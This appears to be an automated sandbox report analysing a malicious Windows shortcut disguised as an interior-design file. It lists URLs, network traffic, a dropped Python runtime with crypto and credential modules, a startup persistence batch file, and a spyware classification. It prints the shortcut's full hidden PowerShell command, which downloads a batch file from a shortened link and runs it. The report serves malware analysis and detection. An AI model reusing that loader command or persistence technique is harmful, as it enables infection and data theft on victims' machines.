Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C0533F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C0533B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/kn069lb2i6spdx2wa7nno/x.bat?rlkey=57lsckc9mgl0pkn2ndyr6bzar&st=56qf6w
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: python.exe, 0000000A.00000003.2312568067.0000023D69B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.freedesktop.org/software/systemd/man/os-release.html
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81D26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81D33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81D49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ibm.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81B70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A809C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81C59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81C64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A809CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A82107000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2277598189.0000023D68EA1000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2278732810.0000023D68E97000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2278202052.0000023D68E90000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2278851573.0000023D68CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: powershell.exe, 00000005.00000002.2538139922.0000029A813AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A813A6000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2263696282.0000023D68C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8071F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A8072B000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2263848466.0000023D68407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: powershell.exe, 00000005.00000002.2538139922.0000029A814D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sqlite.org/lang_conflict.html
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.statisticshowto.com/probability-and-statistics/z-score/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.17.112.233:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\DLLs\python_tools.cat

Jump to dropped file

System Summary

Yara detected malicious lnk

Source: Yara match

File source: interior-design-villa-a23.lnk, type: SAMPLE

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32ras.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32process.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32profile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\winxpgui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32print.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32security.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32transaction.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32trace.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\_winxptheme.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32ts.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32service.pyd	Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: interior-design-villa-a23.lnk

LNK file: /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden""

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Document\DLLs\_asyncio.pyd A9A99A2B847E46C0EFCE7FCFEFD27F4BCE58BAF9207277C17BFFD09EF4D274E5
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Document\DLLs\_bz2.pyd 62173A8FADD4BF4DD71AB89EA718754AA31620244372F0C5BBBAE102E641A60E

Source: unicodedata.pyd.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winLNK@112/1495@7/7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2136:120:WilError_03
